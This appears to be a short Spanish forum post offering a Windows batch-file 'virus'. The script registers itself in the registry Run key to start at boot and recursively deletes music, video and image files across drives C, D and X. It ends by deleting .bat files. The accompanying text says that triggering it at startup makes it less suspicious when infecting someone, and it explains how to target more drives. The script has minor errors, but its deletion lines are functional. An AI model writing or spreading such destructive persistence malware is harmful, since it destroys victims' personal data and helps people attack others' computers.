Yo lo haría asi de sencillo y efectivo para cualquier unidad del PC
@echo off
reg add hkey_local_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg_sz /d "C:\windows\system32\virus.bat" /f
if exist %Systemroot%\System32\ref.dll goto kaboom
:kaboom
cd \
if exist C:\ del /s *.mp3|del /s *.mpg|del /s *.jpg|del /s *.avi
if exist D:\ del /s *.mp3|del /s *.mpg|del /s *.jpg|del /s *.avi
if exist X:\ del /s *.mp3|del /s *.mpg|del /s *.jpg|del /s *.avi
goto FIN
echo SOLO_REFERENCIA>"%Systemroot%\System32\ref.dll"
:FIN
del %Systemroo%\System32\ref.dll
del *.bat
:EOF
exit
De esta manera se eliminan los archivos en cada carpeta de la Unidad seleccionada existente en el disco únicamente al iniciar Windows y no cuando lo ejecuten, de esta manera no será tan sospechoso cuando tengas que infectar. Fijate en donde está
X le podes poner las unidades de disco que quieras y asi sucesivamente hasta llegar hasta donde quieras. (he visto computadoras que tiene hasta la unidad Z)